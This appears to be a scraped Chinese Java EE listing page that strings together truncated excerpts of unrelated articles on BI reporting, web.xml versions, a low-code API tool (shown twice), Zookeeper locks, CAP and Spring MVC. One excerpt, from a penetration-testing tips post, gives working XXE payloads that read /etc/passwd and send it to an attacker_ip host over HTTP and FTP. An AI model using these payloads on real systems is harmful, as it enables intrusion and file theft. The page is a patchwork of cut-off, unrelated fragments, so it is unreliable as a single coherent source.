Java EE

报表或者 bi 的价值在哪？这已经是十几年的问题啦！ 为什么要解释这个并不新鲜的问题，是因为当一个两个问我的时候，并没有在意，被问的多了，觉得这问题并没有过时。 数据挖掘和建模分析，其价值很容易说出来，因为它是点对点打出来的，一个付费预测模型，就是有助于运营，降低运营成本并且提高付费转化率；一个商品推荐模型，就是有助于提高商品的销量。但是一个报表或者 bi 平台，所谓的决策支持平台，他的价值要怎么讲，还真有点模糊。虽然网上的解释一大堆，看起来很有道理，但不免有些冠冕堂皇。 一、价值早已存在，无论你问与不问 为何这样讲？ 首先，数据分析平台做为数据呈现和分析的载体，而这样的载体早已存在于各个企业中，可以是 excel ，可以是 sql 结果，也可以是 jsp 或者 php 展示出的。它不会因为报表或者 bi 平台的出现而出现，也不会因为报表或者 bi 平台的消失而消失。 其次，数据分析平台为管理提供决策支持，这样的决策支持也早已存在于企业之中，或许是 ppt 中的图表，也可能是 word 报表中的数据。 这样写，主要是想说，数据分析平台，可以很大很复杂，也可以很小很简单，但是它的价值绝对不是平地起高楼，无论大小，它都是围绕着实际的业务和管理，其所表现出的价值大小，也更多取决于成熟的管理思路和丰富的业务经验，并不会因为上了一套很牛的平台，价值就表现的很大了。 它的价值

问题描述：用idea的maven新建一个webapp项目，自动生成的web.xml默认版本是2.3版本（这版本连EL表达式都默认不能使用，无语了）。 Servlet 2.3： <? xml version="1.0" encoding="UTF-8" ?> <! DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > < web-app > </ web-app > 1、临时解决办法： 把web.xml删掉。在Project Structure 里面的Modules重新添加一个Web.xml，能够生成并选择版本，但是这只是作用于当前项目。 2、永久解决办法： 修改默认版本，具体步骤如下： 进入“1.3”文件夹，找到jar包，如下图 用解压软件 打开文件,记住不是解压 。 按下图这个路径依次打开，找到web.xml文件： 直接打开web.xml，修改头文件，保存就可以了(注意：是在解压软件打开的的界面直接打开并修改web.xml，而不是解压成文件夹之后修改，也就是要保证jar包本来的结构不变)。 下面这个就是3.0的web.xml头文件，直接复制就可以。 <? xml version="1.0"

点击上方 Java后端 ， 选择 设为星标 优质文章，及时送达 初衷 用尽可能简单的方式，完成尽可能多的需求。通过约定的方式 实现统一的标准。告别加班，拒绝重复劳动，远离搬砖 特性 用于快速开发API接口。不再定义 Controller , Service , Dao , Mybatis , xml , Entity , VO 等对象和方法. 可视化界面，将入参自动封装到可执行的脚本上，支持所有关系性数据库SQL执行语句，非关系型 MONGODB 查询语句.欢迎扩展 完全基于springboot2.x 作为springboot项目的stater方式集成,无侵入性，新老项目都能快速集成 只需编写一行代码即可完成大部分的业务需求开发，使用难度级别（测试 or 运维）也可参与开发 在线动态编译，无需重启，即时生效，多数据源操作 版本控制,历史记录比对，回滚等功能 远程一键发布到线上环境 线上POSTMAN调试,保存POSTMAN信息或三方文档的自动生成，历史调用记录存储，回塑 代码提示，SQL提示，语法提示 用户管理控制，安全性控制，以及历史行为记录 经过多次项目验证，传统业务型开发，服务端效率能够提升3-5倍，前后端联调提升效率1倍，测试效率2倍提升 传统开发步骤: 增加一张表 创建实体对象，映射这张表 创建API入参VO 创建API出参VO 创建Controller

点 击上方“ 掌上编程 ”，选择“ 置顶或者星标 ” 优质文章第一时间送达！ 初衷 用尽可能简单的方式，完成尽可能多的需求。通过约定的方式 实现统一的标准。告别加班，拒绝重复劳动，远离搬砖. 特性 用于快速开发API接口。不再定义 Controller , Service , Dao , Mybatis , xml , Entity , VO 等对象和方法. 可视化界面，将入参自动封装到可执行的脚本上，支持所有关系性数据库SQL执行语句，非关系型 MONGODB 查询语句.欢迎扩展 完全基于springboot2.x 作为springboot项目的stater方式集成,无侵入性，新老项目都能快速集成 只需编写一行代码即可完成大部分的业务需求开发，使用难度级别（测试 or 运维）也可参与开发 在线动态编译，无需重启，即时生效，多数据源操作 版本控制,历史记录比对，回滚等功能 远程一键发布到线上环境 线上POSTMAN调试,保存POSTMAN信息或三方文档的自动生成，历史调用记录存储，回塑 代码提示，SQL提示，语法提示 用户管理控制，安全性控制，以及历史行为记录 经过多次项目验证，传统业务型开发，服务端效率能够提升3-5倍，前后端联调提升效率1倍，测试效率2倍提升 传统开发步骤: 增加一张表 创建实体对象，映射这张表 创建API入参VO 创建API出参VO 创建Controller

一、Zookeeper实现分布式锁 分布式锁主要用于在分布式环境中保证数据的一致性。 包括跨进程、跨机器、跨网络导致共享资源不一致的问题。 1. 分布式锁的实现思路 说明： 这种实现会有一个缺点，即当有很多进程在等待锁的时候，在释放锁的时候会有很多进程就过来争夺锁，这种现象称为 “惊群效应” 2. 分布式锁优化后的实现思路 3. Zookeeper分布式锁的代码实现 准备工作： 1）安装Zookeeper，具体参考我前面的我文章 Zookeeper系列一：Zookeeper介绍、Zookeeper安装配置、ZK Shell的使用 2）新建一个maven项目ZK-Demo,然后在pom.xml里面引入相关的依赖 < dependency > < groupId > com.101tec </ groupId > < artifactId > zkclient </ artifactId > < version > 0.10 </ version > </ dependency > 3.1 Zookeeper分布式锁的核心代码实现 实现逻辑参考“ 2. 分布式锁优化后的实现思路 ”中的流程图 package com.study.demo.lock; import java.util.Collections; import java.util.List; import java.util

扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

1、web.xml添加 <filter> <filter-name>HiddenHttpMethodFilter</filter-name> <filter-class>org.springframework.web.filter.HiddenHttpMethodFilter</filter-class> </filter> <filter-mapping> <filter-name>HiddenHttpMethodFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 2、Controller类方式上添加注解 package com.how2java.controller; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import

想写这个是源于微信群里面的一个讨论。在讨论分布式系统的时候，有群友明确地如下说： CAP是可以兼顾的啊！ 这把我惊起了一身冷汗，赶紧去查了一下是不是分布式系统理论界又有新的论文来推翻了之前的CAP定理了。后来深入讨论以后，才发现是他对CAP的理解有误。 CAP理论是分布式领域的基础，所以大家的讨论和研究很多。学界和工业界也想出来好多办法来折中处理不可兼得时候的情形，例如著名的“BASE"。但是诸如上面的“CAP可以兼顾”的话是绝对不应该出现的。如果能证明这点并且能写出学术文章的话，那是肯定能发 PODC 并且成为学术大牛的。而现阶段的研究没有一个往着打破CAP定理的方向走，这说明CAP定理挺牢固的，只是因为“BASE”的存在而产生好像兼顾了的误解。那么，为了帮助大家更好的理解CAP及其应用呢，借此机会，我来试着写篇文章讨论一下这方面的内容，并且争取能通过实践将其表达的更加清楚。 CAP定理到底是什么 以下定义摘自维基百科： 在理论计算机科学中，CAP定理（CAP theorem），又被称作布鲁尔定理（Brewer's theorem），它指出对于一个分布式计算系统来说，不可能同时满足以下三点： 一致性（Consistency） （等同于所有节点访问同一份最新的数据副本） 可用性（Availability）（每次请求都能获取到非错的响应——但是不保证获取的数据为最新数据） 分区容错性

概述 传统的Model1和Model2 在Model1的模式下，整个Web应用几乎全部是由JSP页面组成，接受和处理用户请求，并对请求处理后直接做出响应；JSP身兼View和Controller两个角色，将控制逻辑和表现逻辑糅合在一起。 缺点： 1.代码的复用性低。 2.增加了应用扩展和维护的难度。 Model2是基于MVC架构的设计模式，具体实现如下如： MVC的思想是将一个应用分成三个基本部分，模型（Model）、视图（View）、控制器（Controller），这三个部分以最少的耦合协同工作，从而提高应用程序的可扩展性和可维护性。 1.模型（Model）：JavaBean 2.视图（View）：JSP页面 3.控制器（Controller）：Servlet MVC模式使得Model2具有组件化特点，更能适用于大规模应用的开发（但增加了开发的复杂度）。 MVC优势 MVC并不是Java语言和Web应用特有的设计思想，它是所有面向对象程序设计语言都应该遵守的规范。 在经典的MVC模式中，事件由控制器处理，控制器根据事件的类型改变模型或视图，反之亦然。 MVC的特点： 1.多个视图可以对应一个模型。按MVC的设计模式，一个模型对应多个视图，可以减少代码的复制及代码的维护量。一旦模型发生改变，也易于维护。 2.模型返回的数据与显示逻辑分离。模型数据可以应用任何的显示技术。 3

前言 Spring MVC 基于模型-视图-控制器（Model-View-Controller，MVC）模式实现，它能够帮你构建像 Spring 框架那样灵活和松耦合 的 Web 应用程序。 目录 1、Spring MVC 工作流程 2、搭建 Spring MVC 一、Spring MVC 工作流程 下图展示了 Spring MVC 所经历的流程 1、请求旅程的第一站是 Spring 的 DispatcherServlet。与大多数基于 Java 的 Web 框架一样， Spring MVC 所有的请求都会 通过一个前端控制器 Servlet。前端控制器是常用的 Web 应用程序模式，在这里一个单实例的 Servlet 将请求委托给应用程序的 其他组件来执行实际的处理。 在 Spring MVC 中， DispatcherServlet就是 前端控制器 。 2、DispatcherServlet 的任务是将请求发送给 Spring MVC 控制器（controller）。控制器是一个用于处理请求的 Spring 组件。 在典型的应用程序中可能会有多个控制器，DispatcherServlet 需要知道应该将请求发送给哪个控制器。所以 DispatcherServlet 会 查询一个或多个 处理器映射（handle mapping） 来确定请求的下一个站点在哪里